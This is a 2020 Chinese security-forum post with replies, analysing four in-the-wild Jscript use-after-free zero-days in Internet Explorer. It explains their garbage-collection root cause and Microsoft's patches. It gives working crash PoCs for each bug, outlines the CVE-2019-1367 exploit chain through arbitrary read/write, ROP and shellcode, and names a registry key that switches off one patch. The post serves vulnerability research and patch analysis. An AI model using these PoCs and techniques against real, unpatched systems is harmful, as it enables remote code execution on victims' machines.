首页
社区
课程
招聘
[原创]谈谈两年来的4个Jscript ITW 0day
发表于: 2020-8-22 10:30 9533

[原创]谈谈两年来的4个Jscript ITW 0day

2020-8-22 10:30
9533

Jscript组件是一个已被微软弃用的JavaScript引擎,主要在IE8以及更早的版本中使用。从IE9开始,微软用Jscript9替代了Jscript,但依然保持对Jscript的解析接口。一种比较常见的“召唤”方式如下:

2017年12月,Google Project Zero的Ivan Fratric等人公开了一种新的Windows平台攻击方式。该方式借助Jscript漏洞和WPAD/PAC协议,实现了在Win10上通过单个Jscript漏洞实现远程代码执行和沙箱逃逸。这种方式显然引起了攻击者的注意,2018年12月,谷歌捕获了第1个利用该方式进行实际攻击的漏洞,在随后的1年时间内,又连续出现3个相同类型的漏洞,一时间让原本已经无人问津的Jscript组件又重新引起大家的注意。

在本小节中,笔者将结合每个漏洞的PoC简要介绍4个Jscript漏洞,通过PoC比对,读者将感受到这些漏洞的相似之处。

首先跟随笔者看一下CVE-2018-8653的PoC,如下:

这个漏洞一个由instanceof回调导致的UAF漏洞,Jscript代码没有将自定义的instanceof回调函数(即PoC中的uaf)的this参数加入GC追踪列表,导致在回调函数中可以强制触发垃圾回收机制,得到悬垂指针,后面再次访问该指针时即发生UAF。

接着是CVE-2019-1367的PoC,如下:

这个漏洞是一个由Array.sort函数导致的UAF漏洞,Jscript代码没有将sort函数中的arguments属性加入GC追踪列表,导致在回调函数中可以强制触发垃圾回收机制,得到悬垂指针,后面再次访问该指针时即发生UAF。

第3个漏洞是CVE-2019-1429,这个漏洞对应的PoC如下:

这个漏洞是一个由toJSON函数导致的UAF漏洞,Jscript代码没有将toJSON函数中的arguments属性加入GC追踪列表,导致在回调函数中可以强制触发垃圾回收机制,得到悬垂指针,后面再次访问该指针时即发生UAF。

细心的读者肯定已经发现了,这和CVE-2019-1367不就是同一个漏洞吗?是的,它们就是同一个漏洞,但是微软就是没有补好。

最后一个漏洞是CVE-2020-0674,我们来看一下这个漏洞的PoC:

这个漏洞和CVE-2019-1367又非常像,又一个由Array.sort函数导致的UAF漏洞,所不同的是这次的问题不是出在arguments属性,而是出在传入的参数中。Jscript代码没有将sort函数中的调用参数加入GC追踪列表,导致在回调函数中可以强制触发垃圾回收机制,得到悬垂指针,后面再次访问该指针时即发生UAF。

相信许多读者和笔者一样,看上面几个案例后,会下意识地找一下通过Json序列化操作触发CVE-2020-0674的路径,并构造出第5个PoC:

事实上,这个PoC确实可以导致Crash,是CVE-2020-0674的兄弟漏洞,但是在CVE-2020-0674的补丁出来后,此类UAF已经无法触发。

读者看完上述5个PoC后,是不是感觉微软在修补此类漏洞时显得很不专业?微软应该在一开始就将此类漏洞从根本上修复,这样就不会有这么多补丁绕过漏洞。事实上,Ivan Fratric在上述几个漏洞出现之前就发出过相关警告,并且在漏洞出现后也发表过感慨,喜欢考古的读者可以看一下文末参考链接“补丁分析”部分的两个推特链接。

在本小节中,笔者将分享CVE-2019-1367利用代码的一些细节,之所以选择CVE-2019-1367,一方面是因为国外已经有研究员写过相关分析,但文章过长,且文内代码经过混淆,不易阅读,笔者结合手上资料对相关代码进行了解混淆,以便于阅读;另一方面是因为4个漏洞的利用代码大同小异,举一例即可。

以下只分析32位下的利用代码,为保持一致,代码中出现的注释复用国外分析文章中的注释。随笔者一起来看一下如何只用单个UAF漏洞即实现远程代码执行。

首先回顾下32位下variant在内存中的数据结构:

利用代码首先在内存中布局一定数量的RegExp对象(作为参数的reSrc大有玄机,后面会再次提及):

随后借助UAF漏洞,用经典的Jscript UAF占位手法(详情可参考笔者对CVE-2018-8353的分析文章),将一个原本表示RegExp对象的variant的type域从0x81(对象)修改为0x03(number),从而将一个RegExp对象指针以整数形式泄露出来:

得到RegExp对象指针后,借助makeVariant函数将RegExpObj+4的地方封装为一个字符串variant(type=0x82)的指针部分,并再次借助漏洞将其布局到内存:

搜索到对应的字符串variant后,此时的variant.obj_ptr指向一个伪造的BSTR对象的字符串部分,这个BSTR对象的length部分为RegExpObj的虚表,是一个非常大的值;str部分为RegExpObj+0x04。到这里已经具备了越界读取能力,随后借助这一越界读取能力读取整个RegExpObj的内容并保存到fakeRegExpCharCodes数组,并在数组的最后为shellcode预留了位置(0xCCCC):

前面已经从内存中“dump”出一个完整的RegExpObj(一共dump了sizeof_RegExpObj+4字节),接下来是整个利用过程的精彩部分,跟随笔者一起来看一下利用代码如何借助正则表达式对象构造一个完美的任意地址写入原语。

要理解这一过程,首先需要了解下RegExpObj的一些成员,RegExpObj在32位下的大小为0xC0,其中比较重要的几个成员如下:

如上面代码所示,利用借助fakeRegExpCharCodes数组修改了上述RegExpObj+0x10和RegExpObj+0x38处的变量,首先将RegExpObj+0x10开始的4字节置为空,然后将RegExpObj+0x48处的0x10字节拷贝到RegExpObj+0x38处,即替换了对应的variant。为什么要这么做?这就涉及到本小节最前面的那句new RegExp(reSrc)。原来,攻击者传给RegExp的reSrc参数是一个精心设计的RegExpExec,经过上面的替换后RegExpObj+0x38处的RegExpExec已经变成一个伪造的RegExpExec,后面正是借助这个伪造的RegExpExec实现任意地址写。

修改完fakeRegExpCharCodes后,将其转化为一个fakeRegExpStr字符串对象,然后循环调用RegExp.compile方法将其更新到内存,并调用RegExp.source将fakeRegExpStr的地址更新到RegExpObj+0x48处的variant.obj_ptr,随后读取RegExpObj+0x48处的内存,得到fakeRegExpStr的地址。

得到fakeRegExpStr的地址后,再次借助makeVariant将其封装为一个type=0x81的variant,并第3次触发漏洞将variant布局到被释放的内存。随后在内存定位到对应的variant,得到一个RegExpObj,取出RegExpObj+0x48处的variant。如前所述,这个variant是type=0x80,是一个间接引用,需要读取variant.obj_ptr作为新的variant,再读取一次variant.obj_ptr

获得fakeRegExpAddr后,再次借助makeVariant,将fakeRegExpAddr封装到一个type=0x81的variant,随后第4次借助漏洞进行布局,在内存中搜索得到伪造的RegExp对象,到这里就获得了一个精心伪造的RegExp对象,借助RegExp.test()函数测试是否伪造正确:

借助上述伪造的RegExp对象就可以实现任意地址写:

这个write函数是整个利用中最精彩的部分,这个原语的构造细节涉及到Jscript正则引擎的虚拟机知识,利用的编写者肯定对Jscript模块的正则表达引擎非常熟悉。由于笔者并不擅长这块,这部分等待有能力的读者进行补充分析。

有了任意地址写原语后,配合RegExpObj+0x48处的variant,就可以通过修改type和obj_ptr的方式实现任意地址读取,由于BSTR对象的length在读取时会除以2,所以具体的读取函数会借助移位来避免数据失真。

构造出任意地址读写原语后,利用代码首先借助这两个原语封装了一系列功能函数,然后借助write函数的返回值泄露了 一个native栈上的地址,并在该基础上得到一个栈上的返回地址,用搜索得到的ROP gadget覆盖之,在函数返回时,控制流被劫持,绕过CFG并运行shellcode:

关于该利用的更多细节可以参考这篇文章:

在本小节中,笔者来讨论下这类漏洞形成的具体原因,读者首先需要了解下垃圾回收算法里面的标记-清除算法(Mark Sweep GC)。这个算法在《垃圾回收的算法与实现》一书的算法篇第2章中有清晰的描述,几个关键概念如下:

上述这类Jscript漏洞的根源在于:在进入特定的回调函数/调用函数的过程中,开发者忘记将个别对象属性或者栈上的variant变量加入相应的Root/Scavenge(回收)列表进行追踪。导致在回调函数中可以获得对问题variant的引用,手动调用CollectGarbage触发GC,使variant被回收,最终获得悬垂指针,造成UAF。

Jscript的开发工程师曾经写过一篇关于Jscript垃圾回收机制的设计性描述,有兴趣的读者可以参考:

关于Jscript中GC机制的具体实现,国外研究员Sudhakar Verma写过一篇很棒的分析,为方便读者理解,笔者在这里对其进行注释说明,读者也可以在文末参考链接“Jscript的垃圾回收机制”一节中找到这篇文章并阅读。

Jscript中的variant存在一个个GCBlock结构中,每个GCBlock结构如下:

当定义变量时,Jscript引擎内部会申请一些GCBlock,并初始化其内部的variant结构。

申请第一个GCBlock的相关调用如下:

当有需要时,更多GCBlock被申请,申请过程如下:

申请到的每一个GCBlock都会链接到一个双向链表(区别于缓存链表的另一个链表),遍历链表可以访问到所有GCBlock中的所有variant。

当在Jscript代码中手动调用CollectGarbge函数时,Jscript引擎会调用JsCollectGarbage函数,JsCollectGarbage进一步会调用GcContext::Collect函数,紧随Mark、Scavenge、和Sweep三个过程。

Mark阶段会遍历GCBlock链表,并遍历每个GCBlock中的所有variant,对所有variant的第12位(定义第1位为最低位)置位1(|= 0x800),这个过程涉及的调用如下:

Mark完毕后是Scavenge阶段,这个阶段的任务是捡拾,即把所有还在使用中的对象从Mark阶段“抢救”回来,方法是从每一种不同的Root开始遍历,得到所有可遍历到的Jscript对象和variant,并将所有遍历到的variant的第12位置为0(&=0xf7ff),相关函数的调用顺序如下:

最后是清理阶段,这个阶段会再次遍历GCBlock链表,并遍历每个GCBlock中的所有variant,对所有第12位为1的variant进行对应的清理。当一个GCBlock内的所有variant都被清理时,这个GCBlock并不会被立即释放,只会对一个全局计数加1,并将这个GCBlock加入上述缓存链表。当全局计数大于等于50时,Jscript会将多余的GCBlock摘链后直接进行delete。相关过程如下所示:

现在,读者应该可以比较清晰地了解Jscript中的垃圾回收机制。

提及微软对此类漏洞的修复,比较早的一个修复方案要追溯到CVE-2018-8353,这个漏洞是Ivan Fratric发现的,成因和本文中讨论的几个漏洞完全一致,微软当时的修复方案是将造成lastIndex加入Scavenge(捡拾)列表,大致如下:

很明显,这是一种创可贴式的修补,它解决了当前问题,但没有解决此类问题。随后的CVE-2018-8653,CVE-2019-1367,CVE-2019-1429都是创可贴式的修补,直到CVE-2020-0674的修补方案出现。在CVE-2020-0674的补丁中,微软在Jscript中加入了一个新的函数ScrFncObj::PerformCall,之前对CallWithFrameOnStack和CallWithFrameOnHeap的调用都改为间接调用ScrFncObj::PerformCall进入,在ScrFncObj::PerformCall中,会将函数参数都加入到root列表中,这样就从根本上杜绝了CVE-2020-0674这类漏洞的产生。笔者在进行补丁分析的过程中,查到启明星辰的一篇文章,这篇文章对CVE-2020-0674补丁进行了比较细致的分析,文末参考链接“补丁分析”处给出了文章的网址,读者可以进行参考。

有意思的是,在CVE-2019-1367的补丁中,微软在Jscript引入了一个GcContext::IsLegacyGCEnabled()函数。如伪码所示,这个函数用来检查是否开启旧的GC机制,方法是检查HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Policies项下一个REG_DWORD类型的键:ee1ca8aa-4402-4da1-bbe2-69a09c483a56的值是否为1,若为1,则不对导致漏洞的对象进行GC追踪。

笔者在打了CVE-2020-0674补丁的机器上新建了上述注册表项和键,并设为1,发现CVE-2020-0674的补丁不再起作用,由此推测该注册表可能是为了兼容性问题所设。

本文中笔者回顾了近两年出现的4个jscript零日漏洞,借助PoC解释了这些漏洞的成因,分析了其中一个漏洞的在野利用方式,并对相关修补方案做了简要分析。随着CVE-2020-0674的补丁方案的引入,此类Jscript UAF基本宣告落幕。这几个案例清楚地告诉我们:对漏洞修复工作者来说,如果对一类通用漏洞中的某个Case采用创可贴式的修复,不深挖根源,就会导致本文中这样连续绕过的故事,最后于时间和精力上都是巨大的开销。

 
 
 
 
 
 
 
 
 
 
 
 
<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
<script language="Jscript.Encode">

// ... Jscript Code ...

</script>
var objs = new Array();
var refs = new Array();
var dummyObj = new Object();

function uaf() {
    // this未被GC追踪
    for (var i = 0; i < 10000; i++) { 
        objs[i] = null; 
    }

    CollectGarbage();

    for (var i = 0; i < 201; i++) {
        refs[i].prototype = null; 
    }

    CollectGarbage();
    alert(this); // <- 触发crash
    return true;
}

for (var i = 0; i < 201; i++) {
    var arr = new Array({ prototype: {} });
    var e = new Enumerator(arr);
    refs[i] = e.item();
}

for (var i = 0; i < 201; i++) {
    refs[i].prototype = new RegExp();
    refs[i].prototype.isPrototypeOf = uaf;
}

for ( var i = 0; i < 10000; i++ ) {
    objs[i] = new Object();
}

dummyObj instanceof refs[200];
var spray = new Array();

function uaf() {
    // arguments未被GC追踪
    for(var i = 0; i < 20000; i++) {
        spray[i] = new Object();
    }

    arguments[0] = spray[5000];

    for(var i = 0; i < 20000; i++) {
        spray[i] = 0;
    }

    CollectGarbage();
    alert(arguments[0]); // <- 触发crash
    return 0;
}

[0, 0].sort(uaf);
var spray = new Array();

function uaf() {
    // arguments未被GC追踪
    for (var i = 0; i < 20000; i++) {
        spray[i] = new Object();
    }

    arguments[0] = spray[5000];

    for (var i = 0; i < 20000; i++) {
        spray[i] = 1;
    }

    CollectGarbage();
    alert(arguments[0]); // <- 触发crash
}

var o = {toJSON:uaf}
JSON.stringify(o);
var depth = 0;
var spray_size = 10000;
var spray = new Array();
var sort = new Array();
var total = new Array();

for(i = 0; i < 110; i++) sort[i] = [0, 0];
for(i = 0; i < spray_size; i++) spray[i] = new Object();

function uaf(arg1, arg2) {
    // arg1, arg2等传入的参数未被GC追踪
    arg1 = spray[depth * 2];
    arg2 = spray[depth * 2 + 1];
    if(depth > 50) {
        spray = new Array();
        CollectGarbage();
        total.push(arg1);
        total.push(arg2);
        return 0;
    }
    depth += 1;
    sort[depth].sort(uaf);
    return 0;
}

sort[depth].sort(uaf);

for(i = 0; i < total.length; i++) {
    typeof total[i]; // <- 触发crash
}

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2020-8-22 14:58 被银雁冰编辑 ,原因:
收藏
免费 10
支持
分享
打赏 + 4.00雪花
打赏次数 2 雪花 + 4.00
 
赞赏  orz1ruo   +2.00 2020/08/23 助人为乐~
赞赏  kanxue   +2.00 2020/08/22 感谢分享~
最新回复 (8)
雪    币: 3072
活跃值: (20)
能力值: ( LV1,RANK:40 )
在线值:
发帖
回帖
粉丝
2
赞!!
2020-8-22 10:40
0
雪    币: 192
活跃值: (136)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
var reallocPropertyName = "\u0000\u0000";
while(reallocPropertyName.length < 0x17a)
    reallocPropertyName += makeVariant(0x0082);
 
reallocPropertyName += "\u0003";

我对占位这里有些困惑,计算出的reallocPropertyName是无法占位GcBlock的

2020-8-22 11:57
0
雪    币: 9662
活跃值: (4598)
能力值: ( LV15,RANK:800 )
在线值:
发帖
回帖
粉丝
4
ty1337 var&nbsp;reallocPropertyName&nbsp;=&nbsp;&quot;\u0000\u0000&quot;; while(reallo ...
可以占位,它的代码中reallocPropertyName的length最终为0x17b,按照公式申请最终复用的内存块是0x654(在调试器中可以用!heap -flt s 0x654去搜索)。由于每一个GCBlock的0x648内存后面实际上还是有一些内存空间,并不是完全紧邻,所以复用时可以适当占用一些后面的空间。作为实验,你可以把CVE-2018-8353的那个infoleak exp改为var name1 = Array(0x17c).join('a'),然后将name2的b相应减少3个,你会发现仍然可以工作。
2020-8-22 14:56
0
雪    币: 7
活跃值: (4331)
能力值: ( LV9,RANK:270 )
在线值:
发帖
回帖
粉丝
5
膜师傅!
2020-8-22 15:41
0
雪    币: 192
活跃值: (136)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
银雁冰 可以占位,它的代码中reallocPropertyName的length最终为0x17b,按照公式申请最终复用的内存块是0x654(在调试器中可以用!heap -flt s 0x654去搜索)。由于每 ...
原来是这样,感谢师傅指点~
2020-8-22 16:27
0
雪    币: 3565
活跃值: (7764)
能力值: ( LV4,RANK:41 )
在线值:
发帖
回帖
粉丝
7
膜拜权哥。
2020-8-22 18:15
0
雪    币: 3496
活跃值: (749)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
厉害,虽然看不太明白
2020-8-24 09:10
0
雪    币: 192
活跃值: (136)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
var refsLimit = 2 * 100 - 1;
for(var i = 0; i < refsLimit; i++)
    rrefs[i] = new RegExp(reSrc); // <--- spray with pattern text "reSrc"

今天准备仔细去看一下任意地址写的构造,被RegExp的喷射卡住了,上述喷射方式,无法在GcBlock上喷射连续的RegExpobj,感觉需要分析一下原始样本是怎么稳定实现类型混淆的

2020-8-25 21:44
0
游客
登录 | 注册 方可回帖
返回
//